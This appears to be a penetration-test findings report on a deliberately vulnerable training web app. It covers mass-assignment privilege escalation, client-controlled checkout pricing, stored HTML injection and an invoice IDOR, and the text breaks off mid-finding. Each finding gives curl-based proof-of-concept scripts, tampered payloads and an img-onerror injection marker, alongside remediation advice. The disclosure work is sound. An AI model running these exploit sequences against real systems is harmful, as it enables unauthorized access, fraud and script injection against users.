#1	Pending	XXXXXX

XXXXXX: client-controlled `plan`XXXXXX`is_staff` in `POST XXXXXX` unlocks the plan-gated `XXXXXX` team space (effective privilege escalation)

Task 13 · finding node 699 (standalone record 124) · intent 698 · severity: medium · vulnclass: broken_access_control (CWE-269 XXXXXX CWE-915 mass assignment driving authorization; OWASP A01 XXXXXX API6) Surface label: ADJACENT-SURFACE — the same-origin XXXXXX training app, not the XXXXXX target app.

Overview

On the XXXXXX training application, `POST XXXXXX` merges every key of its client-supplied JSON `payload` field into the session's stored account record — including the privilege-shaped keys `plan` and `is_staff` — and the server-side gate on `GET XXXXXX` renders its authorization decision from that client-controlled stored value. A single anonymous, CSRF-free POST changing `plan` to `"equipe"` flipped `XXXXXX` from the "your découverte account does not have team access" notice to the restricted "Espace équipe" page, and the change persisted server-side until reset.

Impact

- An attacker gets **persisted self-service elevation** of the account's plan/staff flags and unrestricted access to the plan-gated `XXXXXX` team space, with **no authentication, no CSRF token, and no server-side validation** — a single POST is the entire exploit.
- The mass assignment is **unbounded**: an arbitrary marker key (`i698_marker`) was accepted and stored verbatim, proving unknown keys are merged into the account record, so any future surface keyed on profile fields inherits attacker-writable values (the `is_staff` flag is already stored the same way).
- **Severity: medium.** Rationale: this is a genuine, verified, persisted authorization bypass (the server gate honors client data — not merely a stored display field), but the affected application is a session-scoped synthetic training environment and the gained resource is the single "Espace équipe" demo page; there is no real customer data, no cross-tenant reach, and the app is anonymous by design.

Measured impact

- **1 of 1** privilege-shaped submissions produced the effective access change: after the single ledgered POST (I-698-R1), `GET XXXXXX` flipped from the gate notice (4297 B) to the restricted team page (4266 B) containing the app's own planted-flaw marker `XXXXXX` ("the status is not chosen by yourself").
- **Persistence: 1 of 1** independent re-reads (`GET XXXXXX`) showed the elevated state (`is_staff: true`, `plan: "equipe"`) — a server-side stored change, not a reflected echo.
- **Blast-radius negative controls:** hub and profile pages byte-identical before→after (7333 B XXXXXX 4646 B); link sets identical on hub, benefits and profile — only the account record changed and the gate flipped with it; no additional staff-only surface was unlocked. The preferences page grew 5066 B → 5111 B (+45 B), consistent with the added arbitrary key being persisted and rendered (indicative, not byte-verified).
- **Proof basis:** executed live against the target (curl, saved raw responses under `XXXXXX`); not lab or static analysis.
- **Limitations (honest):** `plan` and `is_staff` were set together in the single budgeted submission, so the driving key was not isolated — the gate message itself references the plan name ("compte découverte ... l'accès équipe"), pointing to `plan` as the gate input. No HTTP traffic bindings are attached to this record (automatic binding was disabled at registration); all evidence below is the executed commands and their captured outputs, quoted verbatim. No CSRF token was present in any captured request (0 tokens observed).

Affected scope

- **Application:** XXXXXX training app — `XXXXXX` (assets 1404, 1434, 1696, 1400).
- **Vulnerable endpoint:** `POST XXXXXX` — single URL-encoded form field `payload` containing JSON; every key is merged into the session account record (cookie: XXXXXX
- **Authorization decision affected:** `GET XXXXXX` plan gate (renders from the stored `plan` value); `is_staff` is stored in the same record via the same mechanism.
- **Scope bound:** per-session synthetic account; no other account or tenant is reachable through this flaw.
- **Related but distinct:** XXXXXX `POST XXXXXX audit_access` → `XXXXXX` (finding 104, node 650) is the same *class* of flaw on a different app, endpoint and gate; this finding is not a duplicate of it.

Reproduction steps

TECHNICAL EVIDENCE

```
BASE="XXXXXX"
CJ=XXXXXX

# 1) Baseline (anonymous session)
curl -sS -c $CJ -b $CJ "$BASE/" >XXXXXX
curl -sS -c $CJ -b $CJ "$BASE/api/profile"
#  -> {"display_name": "Camille Démo", "email": "XXXXXX", "is_staff": false, "plan": "decouverte"}
curl -sS -c $CJ -b $CJ "$BASE/benefits" | grep -o '<main>.*<XXXXXX>'
#  -> <main><h1>Mes avantages<XXXXXX><p class="notice">Votre compte découverte ne dispose pas de l’accès
équipe.<XXXXXX><XXXXXX>

# 2) ONE POST adding the privilege-shaped keys (form format: payload=<URL-encoded JSON>)
curl -sS -c $CJ -b $CJ -X POST "$BASE/api/profile" \
```

TECHNICAL EVIDENCE / CONTINUED

```
  --data-urlencode 'payload={"display_name": "Camille Démo", "email": "XXXXXX", "plan": "equipe", "is_staff":
 true, "i698_marker": "I698-PRIV"}'
#  -> 200, stored-account echo with is_staff:true XXXXXX plan:"equipe" XXXXXX i698_marker

# 3) Confirm persistence (fresh independent read)
curl -sS -c $CJ -b $CJ "$BASE/api/profile"

# 4) Confirm the EFFECTIVE authorization change — gate now lifted
curl -sS -c $CJ -b $CJ "$BASE/benefits" | grep -o '<main>.*<XXXXXX>'
#  -> <main><h1>Espace équipe<XXXXXX><pre>XXXXXX<XXXXXX><XXXXXX>

# 5) Restore the exact baseline via the app's own reset facility
curl -sS -c $CJ -b $CJ -X POST "$BASE/reset"          # 303
curl -sS -c $CJ -b $CJ "$BASE/api/profile"           # back to is_staff:false XXXXXX plan:"decouverte",
marker gone
curl -sS -c $CJ -b $CJ "$BASE/benefits" | grep -o '<main>.*<XXXXXX>'   # gate notice again (4297 B)
```

Evidence

All artifacts under XXXXXX. Ledger entry **I-698-R1** (exploit), **I-698-C1** (cleanup).

Baseline (before):

TECHNICAL EVIDENCE

```
apiprofile_before.json  200  110B
{"display_name": "Camille Démo", "email": "XXXXXX", "is_staff": false, "plan": "decouverte"}

benefits_before.html  200  4297B
<main><h1>Mes avantages<XXXXXX><p class="notice">Votre compte découverte ne dispose pas de l’accès
équipe.<XXXXXX><XXXXXX>

hub_before.html 7333B · profile_before.html 4646B · prefs_before.html 5066B
```

I-698-R1 — the exploit POST (no auth, no CSRF token):

TECHNICAL EVIDENCE

```
LEDGER I-698-R1 POST .XXXXXX
  payload={"display_name": "Camille Démo", "email": "XXXXXX", "plan": "equipe", "is_staff": true,
"i698_marker": "I698-PRIV"}
POST_status=200 size=133B
--- response (stored account echo) ---
{"display_name": "Camille Démo", "email": "XXXXXX", "is_staff": true, "plan": "equipe", "i698_marker":
"I698-PRIV"}
```

Verification (fresh reads after the POST):

TECHNICAL EVIDENCE

```
apiprofile_after.json  200  133B      <- persistence re-read, identical elevated state
{"display_name": "Camille Démo", "email": "XXXXXX", "is_staff": true, "plan": "equipe", "i698_marker":
"I698-PRIV"}
```

TECHNICAL EVIDENCE / CONTINUED

```
=== EFFECTIVE ACCESS TEST: XXXXXX ===
--- BEFORE: <main><h1>Mes avantages<XXXXXX><p class="notice">Votre compte découverte ne dispose pas de
l'accès équipe.<XXXXXX><XXXXXX>
--- AFTER:  <main><h1>Espace équipe<XXXXXX><pre>XXXXXX<XXXXXX><XXXXXX>
benefits_after.html  200  4266B

hub: links identical · benefits: links identical · profile: links identical
hub_before 7333B = hub_after 7333B · profile_before 4646B = profile_after 4646B (byte-identical)
LAB markers present only in benefits_after.html
```

I-698-C1 — cleanup XXXXXX state restoration:

TECHNICAL EVIDENCE

```
LEDGER I-698-C1 cleanup: POST .XXXXXX
POST XXXXXX status=303 size=0B
GET XXXXXX status=200
{"display_name": "Camille Démo", "email": "XXXXXX", "is_staff": false, "plan": "decouverte"}   (i698_marker:
0 occurrences — clean)
GET XXXXXX status=200 size=4297B
<main><h1>Mes avantages<XXXXXX><p class="notice">Votre compte découverte ne dispose pas de l'accès
équipe.<XXXXXX><XXXXXX>
```

PoC

The reproduction steps above are the PoC; the following is the same sequence as a single runnable script (curl only, self-reverting — it ends by restoring the baseline via the app's own `XXXXXX`):

TECHNICAL EVIDENCE

```
#!XXXXXX bash
# XXXXXX privilege-escalation PoC — finding node 699, task 13 (I-698-R1)
set -euo pipefail
BASE="XXXXXX"
CJ=$(mktemp)
get()  { curl -sS -c "$CJ" -b "$CJ" "$BASE$1"; }
post() { curl -sS -c "$CJ" -b "$CJ" -X POST "$BASE$1" "${@:2}"; }

echo "== 1) baseline ==";         get XXXXXX; echo; get XXXXXX | grep -o '<main>.*<XXXXXX>'; echo
echo "== 2) exploit POST ==";     post XXXXXX --data-urlencode 'payload={"display_name": "Camille Démo",
"email": "XXXXXX", "plan": "equipe", "is_staff": true, "i698_marker": "I698-PRIV"}'; echo
echo "== 3) persistence ==";      get XXXXXX; echo
echo "== 4) gate check ==";       get XXXXXX | grep -o '<main>.*<XXXXXX>'; echo
echo "== 5) restore state ==";    post XXXXXX >XXXXXX; get XXXXXX; echo; get XXXXXX | grep -o
'<main>.*<XXXXXX>'
```

Run with `bash poc_i698.sh`. Expected: step 4 prints `<h1>Espace équipe<XXXXXX>` with `XXXXXX`; step 5 returns the account to `is_staff:false XXXXXX plan:"decouverte"`.

Root cause analysis

1. **Mass assignment with no field allowlist (CWE-915):** `POST XXXXXX` deserializes the client JSON and merges *every* key into the stored account record. The arbitrary `i698_marker` key being accepted and persisted verbatim proves the merge is unbounded — `plan` and `is_staff` are simply known-vulnerable instances of this.
2. **Authorization decided from client-controlled data (CWE-269):** the `XXXXXX` gate renders its decision from the stored `plan` value rather than from a server-managed role/entitlement, so *writing the field is the authorization decision*; there is no entitlement check between the client input and the access control.
3. **No CSRF protection and no re-authentication:** the state-changing endpoint accepts a bare anonymous POST; privilege-relevant changes trigger no confirmation, step-up, or server-side validation of allowed values.
4. The application itself designates this as a planted flaw via the unlocked marker `XXXXXX` ("the status is not chosen by yourself").

Remediation

1. **Allowlist profile fields:** in `POST XXXXXX`, accept only non-privilege fields (`display_name`, `email`, ...); ignore — or better, reject with 400 — unknown keys and privilege-shaped keys (`plan`, `is_staff`, `role`, `admin`, ...). Reject-on-unknown also surfaces tampering attempts.
2. **Move the entitlement server-side:** derive team access for `XXXXXX` from an authenticated, server-managed role/subscription source that no client-writable endpoint can modify; the gate must not read `plan` from the profile record.
3. **If plan changes must be self-service,** route them through a dedicated endpoint that validates against a server-side enumeration of legitimate plans, checks eligibility, and requires confirmation/re-authentication for privilege-relevant changes.
4. **Add CSRF protection** to all XXXXXX state-changing endpoints (currently token-less forms).
5. **Regression test:** a `POST XXXXXX` carrying `plan`XXXXXX`is_staff` keys must be ignored/rejected, and `GET XXXXXX` access must be unchanged afterward (assert both the stored record and the gate outcome).

TECHNICAL FINDING / F-002

MEDIUM

XXXXXX checkout honors client-supplied unit_price — 48 € product ordered at 0.01 € (adjacent surface)

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#2	Pending	XXXXXX

Overview

The XXXXXX training application's checkout endpoint (`POST XXXXXX`) computes the order total from the client-supplied hidden form field `unit_price` without validating it against the authoritative catalog price the server itself knows and renders (`XXXXXX = 4800` for sku `kit-decouverte`, per the app's own SQLite schema dumped in finding 121). Submitting `unit_price=1` for the 48,00 € product recorded an order at **Total : 0.01 €** — 1/4800 of the real price — acknowledged by the app's own completion marker `XXXXXX` ("the price is in the request"). Classified CWE-602 (client-side enforcement of server-side logic), OWASP API6 XXXXXX business logic.

Scope label — ADJACENT-SURFACE: this is the same-origin XXXXXX training app, not the XXXXXX target application. It is the same flaw class as XXXXXX finding 115 (`POST XXXXXX`) but a distinct app, endpoint, and flow (XXXXXX checkout is anonymous with no CSRF token; XXXXXX requires session + per-attempt CSRF token). Reported separately per the dedup rule; see "Relation to other findings" below.

Impact

An anonymous visitor can order any catalog product at any positive integer price of their choosing — the server honors the value end-to-end for the recorded order (confirmed at 1/4800 of list price on the first and only attempt). In a production deployment of this pattern the direct consequence is revenue loss XXXXXX under-priced order acceptance at attacker-chosen prices.

Severity: **medium**. Rationale:

- The flaw is real and confirmed executed-live, with the app's own marker (`XXXXXX`) designating it as one of the training surface's intended flaws.
- Impact is bounded by the simulation context: the app states "*Environnement de démonstration indépendant · Données fictives · Aucune commande ni facturation réelle*" (no real order or invoicing), and no payment or invoice artifact is produced (verified: `GET XXXXXX` shows no new invoice after checkout — the order is not invoice-backed). There is no demonstrable path to real monetary loss in this deployment.
- No authentication or authorization boundary is crossed (the flow is anonymous by design; only the auto-issued `XXXXXX` session cookie is involved).
- No CSRF token is required for the POST, but exploitation does not even need CSRF — the attacker acts on their own session.

Measured impact

- **1 of 1** accepted submissions recorded the order at the attacker-chosen price: `unit_price=1` → `Total : 0.01 €` for the 48,00 € product (**1/4800** of list price). Proof basis: **executed-live** (curl against the live target, raw responses archived).
- **0 server-side controls intervened**: no CSRF token, no price re-validation, no server-side quantity bound observed in the accepted request.
- **0 new invoices** created by the 0.01 € order (`GET XXXXXX` after checkout still lists only DEMO-2026-001) — bounding the end-to-end effect to the in-session order record.
- **Not measured (gaps, unverified)**: behavior for non-integer `unit_price` values (whether a catalog-price fallback exists as it does on XXXXXX finding 115) and server-side quantity bounds (only client-side `min=1`XXXXXX`max=20` attributes observed). These were not tested because the engagement's one-accepted-submission-per-form budget for this form was consumed by the confirming probe; they remain open questions, not negative results.

Affected scope

- **Asset**: XXXXXX training app, `XXXXXX` (asset 1688; ADJACENT-SURFACE — XXXXXX target app not affected by this instance).
- **Endpoint**: `POST XXXXXX` (`application/x-www-form-urlencoded`).
- **Parameter**: `unit_price` — delivered to the browser as a hidden, pre-filled form field (`value="4800"`) on `GET XXXXXX`, i.e. fully client-controlled; consumed by the server as the pricing source of truth. Related parameters: `sku`, `quantity`.
- **Data**: sku `kit-decouverte` (catalog price 4800 cents = 48,00 €, confirmed both in the page display and in the `products` table via the finding-121 schema dump).
- **Prerequisites**: none beyond the anonymously auto-issued session cookie (`XXXXXX`, Secure/HttpOnly/SameSite=None). No CSRF token exists on this form.
- **Versions/other products**: only `kit-decouverte` was tested; the same code path serves the other catalog products (untested for them).

Reproduction steps

1. Open `GET XXXXXX` and store the session cookie. Note the page advertises **Kit découverte · 48,00 €** and the form contains a hidden pre-filled field `unit_price` with value `4800` (plus `sku=kit-decouverte` and `quantity` with client-side `min=1`XXXXXX`max=20`).
2. Submit the form with a tampered price, keeping the session cookie (no CSRF token is required): `POST XXXXXX` with body `sku=kit-decouverte&unit_price=1&quantity=1`.
3. Observe the 200 confirmation page: **"Commande enregistrée"**, **"Total : 0.01 €"**, and the marker `XXXXXX` — while the same page continues to advertise the product at **48,00 €**.
4. Optionally `GET XXXXXX` to confirm the order produced no invoice (only the pre-existing DEMO-2026-001 is listed).

Evidence

Live-executed probe (I-688-R2, anonymous session, curl; raw responses archived at `XXXXXX` and `raw/after_checkout_invoices.html`):

Request:

TECHNICAL EVIDENCE

```
POST XXXXXX HTTP/1.1
Host: XXXXXX
Content-Type: application/x-www-form-urlencoded
Cookie: XXXXXX<session-issued-on-GET>

sku=kit-decouverte&unit_price=1&quantity=1
```

Result: `200`, 4839 B. Rendered confirmation content:

TECHNICAL EVIDENCE

```
La boutique  Kit découverte · 48,00 €  Une sélection fictive pour prendre en main le portail.
Quantité  Commander en démonstration
Commande enregistrée   Total : 0.01 €   XXXXXX
Environnement de démonstration indépendant · Données fictives · Aucune commande ni facturation réelle.
```

Post-checkout `GET XXXXXX` (no invoice created for the order):

TECHNICAL EVIDENCE

```
Mes factures — Compte client n° 1 · Une facture disponible. Consulter DEMO-2026-001
```

Corroborating context captured during the same session (response headers on XXXXXX pages): session cookie `XXXXXX` (Secure; HttpOnly; SameSite=None) is issued anonymously; no CSRF token field exists in the checkout form.

Traffic binding note: the standalone finding record (finding_id 123) has no bound HTTP traffic (bindings list empty at read time, version 0). All evidence above comes from the curl probes run in intent 688 with raw request/response files archived under `XXXXXX`; nothing was re-probed to pad the binding count.

PoC

TECHNICAL EVIDENCE

```
#!XXXXXX
# PoC — XXXXXX checkout honors client-supplied unit_price (finding node 694)
BASE="XXXXXX"
CJ=XXXXXX

# 1) establish the anonymous session; page shows hidden unit_price=4800 and price 48,00 €
curl -sS -c "$CJ" "$BASE/checkout" -o checkout_page.html

# 2) order the 48.00 € product at an attacker-chosen unit price (no CSRF token needed)
curl -sS -b "$CJ" -c "$CJ" \
  --data-urlencode "sku=kit-decouverte" \
  --data-urlencode "unit_price=1" \
  --data-urlencode "quantity=1" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  "$BASE/checkout" -o order_confirmation.html

# 3) confirmation page shows: "Commande enregistrée", "Total : 0.01 €", XXXXXX
grep -o "Total : [0-9.,]* €" order_confirmation.html
grep -o "XXXXXX]*}" order_confirmation.html
```

Expected output: `Total : 0.01 €` and `XXXXXX` for a product advertised at 48,00 € on the same page. The reproduction steps above are equally the PoC when run manually.

Root cause analysis

The checkout handler treats the browser-supplied `unit_price` hidden field as the pricing source of truth instead of deriving the price from its own catalog. The server demonstrably possesses the authoritative value — it renders "Kit découverte · 48,00 €" in the very same response, and the `products` table holds `price = 4800` for this sku (finding-121 schema dump) — yet the total is computed as `unit_price × quantity` from raw client input. This is textbook CWE-602: a server-side decision (pricing) delegated to a client-controlled input that the UI merely pre-fills. Contributing factors: the form posts without a CSRF token and the `quantity` bounds (`min=1`XXXXXX`max=20`) exist only as client-side HTML attributes, with no observed server-side re-check in the accepted request.

The XXXXXX app (finding 115) shows the flaw is implementable-to-fix in this codebase family: there the server falls back to the catalog price when `unit_price` is not a valid integer — proving the lookup path exists — but still honors any attacker-chosen valid integer, and only XXXXXX's instance is reported here.

Relation to other findings

- **Finding 115 (node 679, XXXXXX `POST XXXXXX`)** — same flaw class (CWE-602, client-controlled `unit_price`), different app/endpoint/flow. Deliberately reported separately, not merged.
- **Finding 121 (node 690, XXXXXX `XXXXXX` SQLi)** — its schema extraction supplied the independent confirmation `XXXXXX = 4800` for `kit-decouverte`.
- Same XXXXXX surface, different root causes: finding 120 (invoice IDOR), finding 122 (stored HTML injection in `XXXXXX`), finding 112/111/110 (XXE XXXXXX path traversal XXXXXX open redirect).

Remediation

1. **Price server-side from the catalog** (primary fix): in the checkout handler, ignore `unit_price` for computation and resolve the price from the database, e.g. `SELECT price FROM products WHERE sku = ?` (and require `visible = 1`), then compute `total = price * quantity`. Treat any submitted `unit_price` as display-only, or reject the request with 400 if it disagrees with the catalog value by more than a rounding tolerance.
2. **Validate quantity server-side**: enforce integer bounds (e.g. 1–20) in the handler; the HTML `min`XXXXXX`max` attributes are not controls.
3. **Regression test**: submit `unit_price=1` (and a non-integer value) and assert the recorded total equals `catalog_price × quantity` (4800) or that the mismatch is rejected.
4. **If quotes must be computed at display time** (discounts, promos), sign the quote server-side (HMAC over `sku|price|qty|nonce` with a server secret) or hold a server-side cart, so the client cannot alter the price component.
5. **Hardening**: add a CSRF token to the checkout form (the XXXXXX app's per-attempt token binding is the in-house pattern to copy) and consider persisting orders to the invoice ledger so order integrity is auditable.

Limitations

- Confirmed with exactly one accepted submission (engagement budget: one state-changing submission per form); `unit_price=1` was the single value tested. The full range of honored values (zero, negative — XXXXXX rejects negatives with 400, XXXXXX untested — very large integers, non-integers) is **unverified**.
- Real payment/invoicing does not exist in this environment ("Aucune commande ni facturation réelle"), so no monetary-loss figure beyond the in-app order total can be measured.

TECHNICAL FINDING / F-003

MEDIUM

XXXXXX reviews stored HTML injection — unescaped message re-rendered (adjacent surface)

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#3	Pending	XXXXXX

XXXXXX reviews — stored HTML injection (unescaped review message re-rendered as live markup)

ADJACENT-SURFACE finding. This defect is in the same-origin training application "XXXXXX" at XXXXXX, **not** in the XXXXXX target application itself. It is reported separately from XXXXXX finding 106 (same flaw class, different app, endpoint and storage) per the dedup rule.

Overview

`POST XXXXXX` on the XXXXXX training app stores the review `author` and `message` fields without any HTML encoding (SQLite table `reviews(id, author, message)`, per the schema dump in finding 121), and `GET XXXXXX` re-renders them by raw interpolation into the review-list HTML. A submitted message containing `<img src=x onerror=window.__i688rev=1>` came back as raw, unescaped markup inside the rendered `<article class="review">` block — a stored HTML injection (CWE-79, OWASP A03) whose inline event handler is permitted by the app's CSP (`script-src 'unsafe-inline'`).

Impact

Any visitor of `GET XXXXXX` within a session that contains an attacker-influenced review has attacker-controlled markup parsed and rendered as live DOM. Because the page CSP allows inline script (`script-src 'unsafe-inline'`, finding 685), the expected execution path is stored XSS: injected JavaScript runs in the victim's browser in the XXXXXX origin.

Delivery to other users is not passive — measured evidence shows review storage is **session-scoped** (see Measured impact) — but two realistic delivery paths exist:

1. **Cross-site forced POST (expected, not executed):** the review form carries **no CSRF token** (verified: zero `csrf` occurrences in the baseline form HTML) and the session cookie `XXXXXX` is `Secure; HttpOnly; SameSite=None`, so a cross-site attacker page can auto-submit a review containing the payload *into the victim's own session*; the victim's next visit to `XXXXXX` then renders it.
2. **Self-contained propagation:** within a shared browser profile (help-desk/kiosk-style usage of the demo terrain), a stored payload persists in the session until reset and re-executes on every `XXXXXX` view.

Measured blast-radius bounds (why medium, not high): the CSP `sandbox allow-scripts allow-forms allow-modals allow-downloads` (no `allow-same-origin`) makes the page opaque-origin — `XXXXXXXXXXXXXlocalStorage` throw `SecurityError` — and the cookie is `HttpOnly` anyway; `connect-src 'none'` blocks fetch/XHR exfiltration and `img-src data:` blocks remote image beacons. What remains executable:

full DOM manipulation of XXXXXX (fake UI/phishing inside the trusted page), alert/confirm modals, download triggers, and same-origin form POSTs (form-action is pinned to the XXXXXX origin) — i.e., injected script could silently submit state-changing XXXXXX forms in the victim's session (e.g., XXXXXX, where unit_price is client-controlled per finding 115). This chained escalation is inferred from measured constraints and was **not executed**.

Severity: medium — attacker-controlled script execution in victim browsers on the affected page, bounded by the strict sandbox CSP, session-scoped storage, HttpOnly cookie, and a synthetic-data training context.

Measured impact

Executed live against the target (anonymous session, single ledgered submission I-688-R1):

- **1 of 1** accepted POST XXXXXX submissions was stored and re-rendered **unescaped** on the subsequent GET XXXXXX.
- **1** occurrence of the raw <img src=x onerror=window.__i688rev=1> tag in the stored review block of the rendered HTML; **0** HTML-escaped variants (<img, ') anywhere in the block — escaping is absent, not partial.
- **0 of 1** cookie-less GET XXXXXX requests displayed the injected review (only the seeded "Équipe XXXXXX" review appeared) → storage is session-scoped; passive cross-user rendering measured at 0.
- **0** browser runs performed on XXXXXX in this work — inline-handler *execution* was not demonstrated on this surface. Control measurement: on the XXXXXX app, which ships the **identical CSP template** and the same sink family, the equivalent <img onerror> payload executed its inline handler **1 of 1** runs (window.__i671 === 1, headless Chromium 156; the CSP's img-src data: block is precisely what fires onerror) — finding 118. XXXXXX execution is therefore expected with high confidence but remains **unverified on this surface**.
- What the defense did **not** block: the storage and raw re-rendering itself (no output encoding at the sink); the CSP does not restrict inline event handlers.

Affected scope

- **Surface:** XXXXXX training app — XXXXXX (ADJACENT-SURFACE; XXXXXX target app not affected by *this* instance).
- **Sink:** GET XXXXXX — review-list rendering, message interpolated inside <article class="review">{author}<XXXXXX> {message}<XXXXXX><XXXXXX>.
- **Source:** POST XXXXXX, form fields author (Pseudo) and message (Message), application/x-www-form-urlencoded, no CSRF field.
- **Storage:** SQLite reviews(id, author, message) (schema per finding 121's sqlite_master dump); session-scoped rows, seeded with one "Équipe XXXXXX" welcome review.
- **Field coverage:** message proven unescaped. The author value was rendered (Camille I688<XXXXXX>) but the single probe used a metacharacter-free author, so author-field escaping is **unverified**.
- **Related instance (not merged, separately reported):** XXXXXX POST XXXXXX → rendering on GET XXXXXX — finding 106, same flaw class, different app/endpoint/storage.

Reproduction steps

1. Establish a session and baseline: `BASE="XXXXXX" curl -sS -c XXXXXX "$BASE/reviews" -o XXXXXX # note the seeded review only`
2. Submit a review whose message carries an inert marker payload (harmless; sets a JS variable only): `curl -sS -b XXXXXX -c XXXXXX -D XXXXXX -o XXXXXX -w "%{http_code} %{redirect_url}\n" \ --data-urlencode "author=Camille Test" \ --data-urlencode 'message=MARK <img src=x onerror=window.__marker=1> <b>bold<XXXXXX>' \ -H "Content-Type: application/x-www-form-urlencoded" "$BASE/reviews" # → 303 See Other, Location: $BASE/reviews`
3. Re-fetch the guestbook and inspect the raw bytes: `curl -sS -b XXXXXX "$BASE/reviews" -o XXXXXX grep -oE '<article class="review">.*?<XXXXXX>' XXXXXX | head -1 grep -c '<img src=x onerror=window.__marker=1>' XXXXXX # 1 = unescaped stored markup grep -cE '<img|'' XXXXXX # 0 = no escaping applied`
4. (Optional) Confirm the CSP that would govern execution: `grep -i content-security-policy XXXXXX` → `sandbox allow-scripts ...; script-src 'unsafe-inline'; ....`
5. (Browser validation — the outstanding step): load `$BASE/reviews` in a real browser with DevTools and evaluate `window.__marker` — expected `1`; this intent did not include a browser run, so this step is documented but not yet executed on XXXXXX.

Evidence

Submission response (`XXXXXX` — 303 redirect, and the CSP that applies to the page family):

TECHNICAL EVIDENCE

```
HTTP/1.1 303 See Other
Server: nginx
Content-Type: text/html; charset=utf-8
Location: XXXXXX
Cache-Control: private, no-store
X-Content-Type-Options: nosniff
Content-Security-Policy: sandbox allow-scripts allow-forms allow-modals allow-downloads; default-src 'none';
script-src 'unsafe-inline'; style-src 'unsafe-inline'; img-src data:; connect-src 'none'; frame-src 'none';
object-src 'none'; base-uri 'none'; frame-ancestors 'none'; form-action XXXXXX
```

Stored rendering, raw bytes (`XXXXXX`, review block verbatim — payload present unescaped, before-submission baseline `base__reviews.html` contained only the seeded review):

TECHNICAL EVIDENCE

```
<article class="review"><strong>Camille I688<XXXXXX><div>I688-MARK <img src=x onerror=window.__i688rev=1>
<b>i688-bold<XXXXXX><XXXXXX><XXXXXX>
<article class="review"><strong>Équipe XXXXXX<XXXXXX><div>Bienvenue dans cet espace de
démonstration.<XXXXXX><XXXXXX>
```

Post-verification checks (command output):

TECHNICAL EVIDENCE

```
== raw <img> present unescaped? 1
== escaped variant present?            (empty — no <img XXXXXX ' anywhere in the block)
```

TECHNICAL EVIDENCE / CONTINUED

```
== review articles visible WITHOUT session cookie: <article class="review"><strong>Équipe XXXXXX<XXXXXX>
== raw payload present (cookie-less GET): 0        → session-scoped storage
```

Form baseline (`XXXXXX`): `<form class="panel" method="post" action=".XXXXXX">` with only `author`XXXXXX`message` inputs; `grep -ci csrf` → **0** (no anti-CSRF token).

PoC

TECHNICAL EVIDENCE

```
#!XXXXXX
# XXXXXX XXXXXX stored HTML injection — PoC (I-688-R1 payload, inert marker)
BASE="XXXXXX"
CJ=$(mktemp)
curl -sS -c "$CJ" "$BASE/reviews" -o XXXXXX
curl -sS -b "$CJ" -c "$CJ" -D - -o XXXXXX \
  --data-urlencode "author=Camille I688" \
  --data-urlencode 'message=I688-MARK <img src=x onerror=window.__i688rev=1> <b>i688-bold<XXXXXX>' \
  "$BASE/reviews" | grep -iE '^(HTTP|Location|Content-Security-Policy)'
echo "--- stored rendering ---"
curl -sS -b "$CJ" "$BASE/reviews" | grep -oE '<article class="review">.*?<XXXXXX>' | head -1
```

Run with `bash XXXXXX`. Expected: `303` → `Location: .XXXXXX`; the first review article contains the raw `<img src=x onerror=...>` tag. In a browser, `window.__i688rev` would be set to `1` on page load (execution pending browser validation on this surface). The reproduction steps above are the PoC when no script execution environment is desired.

Root cause analysis

- **Missing output encoding at the sink:** the server stores `author`XXXXXX`message` verbatim and the `XXXXXX` template interpolates them into HTML without contextual HTML-entity encoding (no `<`, `>`, `'`, `&` transformation observed anywhere in the stored review block). Any markup typed by the submitter becomes part of the page's DOM.
- **Session-scoped persistence amplifies surface per user:** the payload survives in the session's `reviews` table and re-executes on every `XXXXXX` view until reset — the injection is stored, not reflected.
- **CSP does not compensate:** `script-src 'unsafe-inline'` (finding 685) whitelists exactly the execution path an injected inline event handler needs; on the identical XXXXXX CSP template this was browser-proven sufficient for `<img onerror>` execution (finding 118).
- **No CSRF token on the form + `SameSite=None` session cookie:XXXXXX enables unauthenticated cross-site forced-post delivery of a payload into a victim's session (expected path; not executed in this engagement — no controlled test origin was authorized).
- The app is an intentional training terrain ("Terrain d'entraînement · 10 failles"), so the flaw is by design — it is nonetheless a real defect instance of the same class found on the XXXXXX target (finding 106) and is reported for completeness of the injection-class assessment.

Remediation

1. **HTML-encode on output (primary fix):** render `author` and `message` through contextual escaping in the `XXXXXX` template (e.g., Jinja2 auto-escaping/`|e`, Python `XXXXXX(..., quote=True)` at every interpolation point). Encode at render time, not at storage time, so data stays lossless.
2. **Sanitize or drop markup intent:** if rich text is not a product requirement (it is not on this guestbook), reject/strip tags on input as defense-in-depth — but do not rely on input filtering alone.
3. **Tighten the CSP:** replace `script-src 'unsafe-inline'` with a nonce- or hash-based policy (or, since these pages ship no first-party scripts, an empty `script-src`), and add `require-trusted-types-for 'script'` where DOM sinks exist. With the current `sandbox` + `default-src 'none'` baseline, an empty `script-src` would eliminate the entire class on these pages.
4. **Add a CSRF token to the review form** (and any state-changing form) and consider `SameSite=Lax` for the `XXXXXX` cookie, removing the cross-site forced-post delivery path.
5. **Long-term:** apply the same encoding review to every XXXXXX sink (catalog, invoices, profile, import-reflection) — findings 106/121/112 show the codebase family shares raw-interpolation habits across endpoints; a template layer with global auto-escaping closes them uniformly.

TECHNICAL FINDING / F-005

MEDIUM

XXXXXX invoice detail IDOR — anonymous cross-account invoice read (adjacent surface)

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#5	Pending	XXXXXX

Scope label: ADJACENT-SURFACE — the same-origin XXXXXX training application at `XXXXXX` on XXXXXX, **not** the XXXXXX target application itself. The XXXXXX app self-identifies as a deliberate training range (`Terrain d'entraînement · 10 failles`).

Overview

`GET XXXXXX` performs no object-level ownership check: an anonymous session that the server itself scopes to "*Compte client n° 1*" can read the other client's invoice simply by requesting `id=3102`, receiving HTTP 200 with the invoice number, foreign account ID, amount, and the app's own marker `XXXXXX` ("an invoice that does not belong to you" — the app's own designation of this flaw).

Impact

The invoice detail handler fetches by numeric primary key and never compares the record's account to the session's account, although the server demonstrably knows the session→account binding (the `XXXXXX` listing and the no-`id` default both render account-1 data only). In business terms this is the classic cross-tenant financial-document disclosure pattern (CWE-639, OWASP API1: BOLA): any user of one account can enumerate and read other accounts' invoices. In this deployment the exposure is bounded — synthetic demo data only, an anonymous-by-design app with no authentication boundary to bypass, and a two-invoice ID space — so severity is **medium**: the flaw class is exactly the one that on a production billing system yields cross-tenant breach, and the app itself flags the response as crossing the tenancy line, but the data at stake here is fictitious and minimal.

Measured impact

